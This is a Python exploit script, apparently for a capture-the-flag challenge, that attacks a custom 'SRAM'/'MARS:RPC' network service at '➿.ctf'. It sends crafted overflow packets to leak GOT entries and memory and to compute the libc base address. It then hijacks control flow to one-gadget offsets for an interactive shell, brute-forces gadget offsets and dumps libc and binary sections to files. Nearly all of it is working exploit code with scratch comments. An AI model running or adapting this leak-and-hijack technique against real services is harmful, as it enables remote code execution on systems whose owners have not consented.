leak

# coding=utf-8
from nclib import *
import socket
import sys
import struct

class XXX(object):
    REALOFFSET = 221040

    INFOFFSET = 0x30cad

    binshoff = 0x18cd57

    inf2 = 0x00030d2d
    GADGOFFSET = 0x4526a
    GADGOFFSET2 = 0xf02a4
    GADGOFFSET3 = 0xf1147

    GOT_ENTRY =  0x602080

    def __init__(self):
        self.s = socket.create_connection(('➿.ctf', 1337))
        # n = Netcat(sock=s, verbose=1)
        self.n = Netcat(sock=self.s, verbose=1)
        self.n.echo_hex = 1
        # self.hello = self.n.recv(0x100)
        self.hello = self.n.recv(0xa0)
        self.session_id = self.parse_sessid()

    def parse_sessid(self):
        return self.hello[16+8:16+8+8]

    def get_libc_addr(self):
        libc_middle = self.leak(self.GOT_ENTRY)
        libc_start = libc_middle - self.REALOFFSET
        return libc_start


    def leak(self, addr):
        s = 'overflow'.ljust(0x77, 'A')

        reply = ''.join([
            'SRAM',
            # '\x02\x00\x00\x00',
            '\x02\x00\x00\x00',

            # '\x77\x0b\x40\x00\x00\x00\x00\x00',
            '\x04\x0b\x40\x00\x00\x00\x00\x00',

            struct.pack('<Q', addr),
            self.session_id,
            'MARS:RPC=',
            # 'RPC=',
            s
        ])


        self.n.send(reply)
        yay = self.n.recv()
        assert 'mismatch' in yay
        strint = yay.split('value (')[1].split(').')[0]
        return int(strint)

    def leak_str(self, addr):
        lk = self.leak(addr)
        return struct.pack('<Q', lk)

    def _jump_to(self, addr):
        s = 'overflow'.ljust(0x77, '\0')

        reply = ''.join([
            'SRAM',
            '\x02\x00\x00\x00',

            struct.pack('<Q', addr),

            'E820600000000000'.decode('hex'),
            self.session_id,
            'MARS:RPC=',
            s
        ])

        self.n.send(reply)

    def exploit(self):
        # send packet to leak got pointer


        # gadget_addr = libc_start + self.INFOFFSET
        # gadget_addr = libc_start + self.GADGOFFSET

        gadget_addr = 0x7f17a06eb000 + self.GADGOFFSET

        self._jump_to(gadget_addr)


        self.n.interact()

    def exploit2(self):
        # send packet to leak got pointer

        libc_middle = self.leak(self.GOT_ENTRY)
        libc_start = libc_middle - self.REALOFFSET
        assert 'ELF' in self.leak_str(libc_start)

        # gadget_addr = libc_start + self.INFOFFSET
        gadget_addr = libc_start + self.GADGOFFSET

        self._jump_to(gadget_addr)


        self.n.interact()

# import IPython
# IPython.embed()

# x = XXX()
# print x.leak(0x60802)

# x = XXX()
# x.exploit()


# import ipdb; ipdb.set_trace()
# x = XXX()
# lc = x.get_libc_addr()
# print 'libc one', hex(lc)
# s =  x.leak_str(lc)
# assert 'ELF' in s

# x = XXX()
# lc = x.get_libc_addr()
# print 'libc two', hex(lc)
# s =  x.leak_str(lc)
# assert 'ELF' in s

# x = XXX()
# x.exploit()

def jump_atold(addr):
    s = socket.create_connection(('➿.ctf', 1337))
    # n = Netcat(sock=s, verbose=1)
    n = Netcat(sock=s, verbose=1)
    n.echo_hex = 1

    # hello = n.recv(0x100)
    hello = n.recv(0xa0)
    def parse_sessid(hello):
        return hello[16+8:16+8+8]


    session_id = parse_sessid(hello)

    n.send(hello)
    n.recv()

    # s = 'overflow'.ljust(0x77, 'A')
    s = 'overflow'.ljust(0x77, '\0')

    reply = ''.join([
        'SRAM',
        # '\x02\x00\x00\x00',
        '\x02\x00\x00\x00',

        # chr(len(s)), # len
        # '\x1c',  # 0xc doesn't crash
        # struct.pack('B', 4), #len

        # '\x0b\x40\x00\x00\x00\x00\x00',

        struct.pack('<Q', addr),


        'E820600000000000'.decode('hex'),
        # '4320600000000000'.decode('hex'), # causes the msg
        # struct.pack('<Q', 0x602043),
        # struct.pack('<Q', 0x602000-1),
        # struct.pack('<Q', addr),
        # 'e720600000000000'.decode('hex'),
        session_id,
        'MARS:RPC=',
        # 'RPC=',
        s
    ])


    n.send(reply)
    # n.interact()
    print 'recving'
    n.recv()
    print 'doen'

def jump_at_new(gadgetoffset):
    print 'offsssss', gadgetoffset
    libcst = 0x7f17a06eb000

    stackpivot = 0x137984

    s = socket.create_connection(('➿.ctf', 1337))
    # n = Netcat(sock=s, verbose=1)
    n = Netcat(sock=s, verbose=1)
    n.echo_hex = 1

    # hello = n.recv(0x100)
    hello = n.recv(0xa0)
    def parse_sessid(hello):
        return hello[16+8:16+8+8]


    session_id = parse_sessid(hello)

    n.send(hello)
    n.recv()

    # s = 'overflow'.ljust(0x77, 'A')
    s = 'MARS:RPC=overflo'.ljust(0xa0 - 0x20, '\0')

    s = bytearray(s)
    # s[0x58:0x58 + 8] = struct.pack('<Q', libcst + XXX.INFOFFSET)
    # s[0x38:0x38 + 8] = struct.pack('<Q', libcst + XXX.INFOFFSET)
    # packd  = struct.pack('<Q', libcst + XXX.GADGOFFSET)
    packd  = struct.pack('<Q', libcst + gadgetoffset)
    # packd  = struct.pack('<Q', libcst + XXX.inf2)

    # packd  = struct.pack('<Q', libcst + XXX.INFOFFSET)
    # s[0x38:0x38 + len(packd)] = packd
    s[0x30:0x30 + len(packd)] = packd

    # binshpack = struct.pack('<Q', libcst + 0x20a000 + XXX.binshoff)
    #
    # s[0x30+0x38:0x30+0x38 + len(packd)] = binshpack


    # s[0x40:0x40 + len(packd)] = packd
    # s[0x48:0x48 + len(packd)] = packd
    print 'gadget off', hex(libcst + XXX.GADGOFFSET)

    s = str(s)


    print 'stack piv', hex(libcst + stackpivot)

    reply = ''.join([
        'SRAM',
        # '\x02\x00\x00\x00',
        '\x02\x00\x00\x00',

        # chr(len(s)), # len
        # '\x1c',  # 0xc doesn't crash
        # struct.pack('B', 4), #len

        # '\x0b\x40\x00\x00\x00\x00\x00',

        struct.pack('<Q', libcst + XXX.GADGOFFSET + gadgetoffset),
        # struct.pack('<Q', libcst + stackpivot),
        # struct.pack('<Q', libcst + XXX.INFOFFSET),


        'E820600000000000'.decode('hex'),
        # '4320600000000000'.decode('hex'), # causes the msg
        # struct.pack('<Q', 0x602043),
        # struct.pack('<Q', 0x602000-1),
        # struct.pack('<Q', addr),
        # 'e720600000000000'.decode('hex'),
        session_id,
        # 'MARS:RPC=',
        # 'RPC=',
        s
    ])


    n.send(reply)
    try:
        n.interact()
        print 'ayy'
    except:
        pass
    # print 'recving'
    # n.recv()
    print 'doen'

def leak_shit(gadgetoffset):
    libcst = 0x7f17a06eb000
    s = socket.create_connection(('➿.ctf', 1337))
    # n = Netcat(sock=s, verbose=1)
    n = Netcat(sock=s, verbose=1)
    n.echo_hex = 1

    hello = n.recv(0xa0)
    def parse_sessid(hello):
        return hello[16+8:16+8+8]


    session_id = parse_sessid(hello)

    s = 'overflow'.ljust(0x77, '\0')


    libc = []

    offset = 0

    while 1:
        if offset > 0x50:
            break
        reply = ''.join([
            'SRAM',
            # '\x02\x00\x00\x00',
            '\x02\x00\x00\x00',

            # chr(len(s)), # len
            # '\x1c',  # 0xc doesn't crash
            # struct.pack('B', 4), #len

            '\x77\x0b\x40\x00\x00\x00\x00\x00',
            # 'E820600000000000'.decode('hex'),
            # '4320600000000000'.decode('hex'), # causes the msg
            # struct.pack('<Q', 0x602043),
            # struct.pack('<Q', 0x602000-1),
            struct.pack('<Q', libcst + offset),
            # 'e720600000000000'.decode('hex'),
            session_id,
            'MARS:RPC=',
            # 'RPC=',
            s
        ])

        sys.stderr.write('.')

        n.send(reply)
        yay = n.recv()
        strint = yay.split('value (')[1].split(').')[0]
        byts = struct.pack('<Q', int(strint))
        # raw_input()
        #
        libc.append(byts)

        offset += 8
    # assert 0

    with open('reallibc', 'w') as f:
        f.write(''.join(libc))

# leak_shit()

# start = 0x400000
# code = bytearray()

if len(sys.argv) > 2:
    import IPython
    IPython.embed()

def leaker(start, stop):
    ret = bytearray()
    offset = 0
    addr = start + offset
    while addr < stop:
        sys.stderr.write('.')
        if addr == 0x6020e8:
            lk = 'A'*8
        else:
            lk = leak_at(addr)
        # print hex(start + offset), ' ',
        ret += lk
        offset += 8
        addr = start + offset

    print
    print
    return ret

def leaker2(start, stop):
    ret = bytearray()
    offset = 0
    addr = start + offset
    i = 0
    while addr < stop:
        if i % 10000 == 0:
            sys.stderr.write('.')
        lk = leak_at(addr)
        # print hex(start + offset), ' ',
        ret += lk
        offset += 8
        addr = start + offset

    print
    print
    return ret

def libc_leaker(start):
    ret = bytearray()
    offset = 0
    addr = start + offset
    while True:
        sys.stderr.write('.')
        try:
            lk = leak_at(addr)
        except:
            break
        # print hex(start + offset), ' ',
        ret += lk
        offset += 8
        addr = start + offset

    print
    print
    return ret


libcst = 0x7f17a06eb000

inf2 = 0x00030d2d

for i in range(-200, 200):
    jump_at_new(i)

for i in range(-500, -200):
    jump_at_new(i)

for i in range(200, 500):
    jump_at_new(i)

for i in range(-1000, -500):
    jump_at_new(i)

for i in range(500, 1000):
    jump_at_new(i)

# jump_at(libcst + XXX.INFOFFSET)
# jump_at(libcst + inf2)
# import ipdb; ipdb.set_trace()
# jump_at(libcst + XXX.GADGOFFSET)
# jump_at(libcst + XXX.GADGOFFSET3)
# jump_at(libcst + XXX.GADGOFFSET2)

# import IPython; IPython.embed()

# real_offset = 221040
#
# gotaddr = 0x602080
# libc_addr = leak_at(gotaddr)
# libc_addr = struct.unpack('<Q', libc_addr)[0]
# print 'libc addr is', hex(libc_addr)
#
# libc_start = libc_addr - real_offset
# print 'found libc', hex(libc_start)








# offsetbak = 0
# lk = leak_at(libc_addr - offsetbak)
# i = 0
# while '\x7fELF' not in lk:
#     if (i % 1000) == 0:
#         sys.stderr.write('.')
#     offsetbak += 8
#     lk = leak_at(libc_addr - offsetbak)
#     i += 1
# print 'found libc start at', hex(libc_addr - offsetbak)

# libcx = leaker2(libc_start, libc_start + 0x1c0000)
# with open('marslibc', 'wb') as f:
#     f.write(libcx)


# code = leaker(0x400000, 0x402000)
# with open('marscode', 'wb') as f:
#     f.write(code)

# data = leaker(0x601000, 0x603000)
# with open('marsdata', 'wb') as f:
#     f.write(data)